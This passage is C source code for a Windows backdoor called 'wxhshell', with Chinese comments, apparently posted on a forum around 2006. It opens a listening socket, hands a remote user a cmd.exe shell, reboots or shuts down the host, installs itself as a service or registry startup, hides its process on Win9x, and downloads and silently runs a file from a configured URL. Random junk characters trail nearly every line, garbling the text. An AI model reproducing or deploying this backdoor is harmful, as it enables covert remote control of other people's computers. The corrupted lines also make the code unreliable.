CTu#KJ?j  
    switch(cmd[0]) { }F=+*-SYZ  
  a<CN2e_Z  
  // 帮助 &@E{0ZD  
  case '?': { fJ!i%</V  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); d8 1u  
    break; f<.43kv@  
  } d ]LF5*i  
  // 安装 }t4?*:\  
  case 'i': { fFG, ^;7-O  
    if(Install()) Y..   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !f~ =p  
    else ]fH U/%  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); "*o54z5"  
    break; y( M-   
    } e/@tU'$  
  // 卸载 )9sRDNr  
  case 'r': { & i,on6  
    if(Uninstall()) #bX~.jKW  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); hdB.u^!  
    else a9rn[n1Q  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); m>4jRr6sF  
    break; Y)@mL~){  
    } :Mz$~o<  
  // 显示 wxhshell 所在路径 S1Q2<<[  
  case 'p': { \79KU   
    char svExeFile[MAX_PATH]; voRr9E*n  
    strcpy(svExeFile,"\n\r"); cP[3p :  
      strcat(svExeFile,ExeFile); b2OVg +3  
        send(wsh,svExeFile,strlen(svExeFile),0); }wmn v  
    break; 4_3O?IY  
    } 2mVcT3  
  // 重启 x <^vJ1  
  case 'b': { iV X12  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ,#G>&  
    if(Boot(REBOOT)) K-Bf=7F,  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); J(*QtF  
    else { + QcgLq  
    closesocket(wsh); HJl$v#]#+  
    ExitThread(0); l?CUd7P(a  
    } G{*m] 0Q  
    break; bH}6N>Fp  
    } +^% y&8e  
  // 关机 ns_5|*'  
  case 'd': { !6_lD 0  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); :>gzWVE<  
    if(Boot(SHUTDOWN)) j-2`yR  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); :O:Rfmr~  
    else { /s.O3x._'  
    closesocket(wsh); 4^1B'>I  
    ExitThread(0); @fR^":.h  
    } uPk`9c52%  
    break; +5pK[%k  
    } TK.a6HJG  
  // 获取shell (fON\)l  
  case 's': { [;M31b3  
    CmdShell(wsh); [u[`!L=  
    closesocket(wsh); f$a%&X6"-  
    ExitThread(0); u}u;jTi> 2  
    break; @vWC "W  
  } Ui6f>0?  
  // 退出 (uG.s%I  
  case 'x': { QF/A-[V  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 3nt&Sf  
    CloseIt(wsh); wCiDvHF5+C  
    break; srfFJX7*  
    } .5+*,+-  
  // 离开 b9uo6u4s  
  case 'q': { l1^/Q~u  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); t59" [kQ  
    closesocket(wsh); @ mm*S:Gt#  
    WSACleanup(); t ZUZNKODW  
    exit(1); B<c7&!B  
    break; 2 g"_ *[  
        } 910Ym!\{:  
  } O[Xl*9P  
  } b#0y-bR  
j`I[M6Qxh  
  // 提示信息 TQm x$  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); "Y@rNmBj  
} &Im{p7gf!b  
  } ")|3ZB7>*  
m7X&"0X  
  return; )&di c6r  
} <VV./W8e9  
?Dro)fH1  
// shell模块句柄 xlVQ[Mt  
int CmdShell(SOCKET sock) Eq-fR~< 9  
{ grEmp9Q ?  
STARTUPINFO si; lyiBRMiP|  
ZeroMemory(&si,sizeof(si)); 4fBgmL  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Iu6KW:x  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; "'H$YhY]  
PROCESS_INFORMATION ProcessInfo; Ju$=Tn  
char cmdline[]="cmd"; `Z]Tp1U  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); X1U7$/t  
  return 0; =jdO2MgSg*  
} ^,zE Nqg7  
q q}EXq^  
// 自身启动模式 {<~0nLyJS  
int StartFromService(void) }J .f 5WaG  
{ a,o)i8G9R<  
typedef struct nd 'K4q  
{ >B$ZKE  
  DWORD ExitStatus; A+%oE  
  DWORD PebBaseAddress; F\ !;}z  
  DWORD AffinityMask; =W)Fa6P3j(  
  DWORD BasePriority; hGi"=Oud2  
  ULONG UniqueProcessId; MfUG@  
  ULONG InheritedFromUniqueProcessId; xkR--/f  
}   PROCESS_BASIC_INFORMATION; "- xm+7  
r{qM!(T  
PROCNTQSIP NtQueryInformationProcess; SeAokz>  
uEQH6~\{Nl  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; I@P[}XS  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; kzr9-$eb  
:@w ;no>=*  
  HANDLE             hProcess; 21GjRPs\  
  PROCESS_BASIC_INFORMATION pbi; ,c"_X8Fkx$  
QytqO {B^  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); FH}n]T  
  if(NULL == hInst ) return 0; ]g-(|X~>  
#M*h)/d[A  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); f XxdOn.  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); sKIWr{D  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); :~loy'  
Z!=/[,b  
  if (!NtQueryInformationProcess) return 0; P\;lH"9  
Mt)~:V+:  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 8'J> @ uW  
  if(!hProcess) return 0; Wq 7 c/ |  
& Sy0Of  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; rb%P30qc4  
9)l-5o: D  
  CloseHandle(hProcess);  X>OO4SV  
Acr\2!))  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); dA> t  
if(hProcess==NULL) return 0; r/=v;4.W  
!q~s-~d^  
HMODULE hMod; <uNBsYMuC  
char procName[255]; =]E(iR_&  
unsigned long cbNeeded; I=l() ET=  
6gwjrGje\  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ;[WW,,!Y  
%@q52ZQ  
  CloseHandle(hProcess); tu6oa[s  
RL |.y~  
if(strstr(procName,"services")) return 1; // 以服务启动 9Q- /Yh  
yCkfAx8 ]  
  return 0; // 注册表启动 '-3AWBWI1  
} !>b>"\b  
]O',Ei^  
// 主模块 QU16X  
int StartWxhshell(LPSTR lpCmdLine) XyJ*>;q  
{ leyhiL<  
  SOCKET wsl;  CJg &  
BOOL val=TRUE; T+NEw8C?/  
  int port=0; #T Cz$_=t  
  struct sockaddr_in door; z=<T[Uy  
a#FkoA~M  
  if(wscfg.ws_autoins) Install(); CyO2Z  
p%,:U8fOR  
port=atoi(lpCmdLine); ElhTB  
o%X_V!B{V  
if(port<=0) port=wscfg.ws_port; `x$d8(1J`#  
`48jL3|  
  WSADATA data; xc Wr hg  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; M_+&XLnzsJ  
!y$H r[v  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   {%. _cR2  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); <`5>;Xn=  
  door.sin_family = AF_INET; K"VphKvR  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); G/_#zIN`8M  
  door.sin_port = htons(port); s4P8PDhz  
n l Xg8t^G  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { MBs]<(RJZ  
closesocket(wsl); WK0?$[|=r  
return 1; .Br2^F  
} VJBVk8P  
ZT4._|2  
  if(listen(wsl,2) == INVALID_SOCKET) { AuHOdiJ  
closesocket(wsl); "o#"u[W ,  
return 1; epj]n=/}[  
} lxj_ (Uo  
  Wxhshell(wsl); @!fy24R]D  
  WSACleanup(); 0#F3@/1h  
*D #H-]9  
return 0; _IOeO  
&+6XdhX  
} \c/jp5=}  
k#R}^Q  
// 以NT服务方式启动 }M?GqA=  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) sY7:Lzs.,  
{ D/:~# )  
DWORD   status = 0; QR2J;Oj_  
  DWORD   specificError = 0xfffffff; r J ?Y~Q  
mm/U9hbp%  
  serviceStatus.dwServiceType     = SERVICE_WIN32; I? dh"*Js&  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; -VD[iH  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 8Fx~i#FT  
  serviceStatus.dwWin32ExitCode     = 0; FMhwk"4L  
  serviceStatus.dwServiceSpecificExitCode = 0; *!%y.$\cE  
  serviceStatus.dwCheckPoint       = 0; K6~N{:.s  
  serviceStatus.dwWaitHint       = 0; ??=CAU%\  
/ivt8Uiw  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ,,mkB6;  
  if (hServiceStatusHandle==0) return; O^G/(  
l*uNi47|  
status = GetLastError(); 'IP'g,o++  
  if (status!=NO_ERROR) NZ9=hI;iM  
{ ;j=/2vU~@  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; n9gj{]%  
    serviceStatus.dwCheckPoint       = 0; xB]~%nC[O  
    serviceStatus.dwWaitHint       = 0; Sd' uXX@  
    serviceStatus.dwWin32ExitCode     = status; 8U0y86q>)E  
    serviceStatus.dwServiceSpecificExitCode = specificError; iU9de  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); OgyETSN8C  
    return; d?WA}VFU  
  } 0`"]mYH  
6g8{;6x  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; sn_]7d+ Q  
  serviceStatus.dwCheckPoint       = 0; 5X\3y4  
  serviceStatus.dwWaitHint       = 0; T({:Y. A;  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); /u!I2DF  
} ,d)!&y  
vrm[sP  
// 处理NT服务事件,比如:启动、停止 K+dkImkh  
VOID WINAPI NTServiceHandler(DWORD fdwControl) AR`X2m '  
{ 7A8jnq7m/  
switch(fdwControl) @cAv8i K  
{ );}k@w fw)  
case SERVICE_CONTROL_STOP: ;nji<  
  serviceStatus.dwWin32ExitCode = 0; !EF~I8d\]  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; go m< V?$  
  serviceStatus.dwCheckPoint   = 0; Dk&cIZ43  
  serviceStatus.dwWaitHint     = 0; );@Dr!H  
  { E:4`x_~qQ  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~Lhq7;=H?O  
  } ~l}rYi>g%  
  return; Me yQ`%  
case SERVICE_CONTROL_PAUSE: vi4u `  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; i&-g 0  
  break; n*CH,fih:  
case SERVICE_CONTROL_CONTINUE: ylLQKdcL  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; upQ:C>S  
  break; T.d+@ZV<#  
case SERVICE_CONTROL_INTERROGATE: Q7&Yy25   
  break; #R"9(Q&  
}; {\ P$5O{%  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); W)1)zOD  
} LH"MJWO J  
l?NRQTG  
// 标准应用程序主函数 7S7gU\qOj  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) /S$p_7N  
{ <(6@l@J|6  
699z@>$}  
// 获取操作系统版本 Z8(1QU,~2  
OsIsNt=GetOsVer(); W tnZF]1:u  
GetModuleFileName(NULL,ExeFile,MAX_PATH); .UakO,"z  
rhMsZ={M  
  // 从命令行安装 IQMk:  
  if(strpbrk(lpCmdLine,"iI")) Install(); kCL)F\v"iT  
T_\HU*\  
  // 下载执行文件 N)lzX X  
if(wscfg.ws_downexe) { w}G2m)(  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) m/| >4~  
  WinExec(wscfg.ws_filenam,SW_HIDE); (Z=ziopDE  
} M]!R}<]{  
as)2ny!u  
if(!OsIsNt) { /gL(40  
// 如果时win9x,隐藏进程并且设置为注册表启动 49bzHEqZ  
HideProc(); p H5IBIf'  
StartWxhshell(lpCmdLine); S+R<wv ,6  
} vpFN{UfD  
else j,80EhZ  
  if(StartFromService()) Ow wH 45  
  // 以服务方式启动 \bCm]w R  
  StartServiceCtrlDispatcher(DispatchTable); }5RfY| ;  
else i^ G/)bq  
  // 普通方式启动 -i V&-oP  
  StartWxhshell(lpCmdLine); +)^F9LPl  
[N$da=`wv  
return 0; `mQY%p|  
}
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只看该作者 1 发表于: 2006-10-10
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